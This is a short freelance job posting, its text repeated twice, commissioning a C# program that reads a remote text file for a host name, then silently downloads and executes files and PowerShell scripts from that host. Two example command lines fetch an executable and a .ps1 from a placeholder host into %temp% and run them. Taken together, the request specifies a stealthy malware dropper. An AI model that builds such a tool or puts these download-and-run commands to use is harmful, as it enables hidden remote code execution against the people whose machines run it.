Join C# Application Dependencys in a single Executable and make it flexible -- 2
Budget: $10 – $30 USD
Hi
I have an application reading a textfile from a website and building a downloadstring with it.
https://website.com/link.txt -> website2.com
https:// + website2.com + /file
It then downloads and executes "file".
In an old version it did that with webclient methods, which is deprecated, now I want it to be better than ever.
So the new one has to use HTTPClient, in my case this made a few dependencies neccessary, I need them to be included in one single file or just make it work without them.
The second part is to make it more flexible and use for example read a file to find the strings, tell it to run the file or not, and be able to run powershell. It has to stay silent.
file.exe -host website2.com -file /file2.exe -out %temp%\file2.exe -run 1 -arguments "1 2 3"
file.exe -file website2.com/file3.ps1 -out %temp%\file3.ps1 -run 1 -arguments "-PSArgument 123"
Attached the current project.
I have an application reading a textfile from a website and building a downloadstring with it.
https://website.com/link.txt -> website2.com
https:// + website2.com + /file
It then downloads and executes "file".
In an old version it did that with webclient methods, which is deprecated, now I want it to be better than ever.
So the new one has to use HTTPClient, in my case this made a few dependencies neccessary, I need them to be included in one single file or just make it work without them.
The second part is to make it more flexible and use for example read a file to find the strings, tell it to run the file or not, and be able to run powershell. It has to stay silent.
file.exe -host website2.com -file /file2.exe -out %temp%\file2.exe -run 1 -arguments "1 2 3"
file.exe -file website2.com/file3.ps1 -out %temp%\file3.ps1 -run 1 -arguments "-PSArgument 123"
Attached the current project.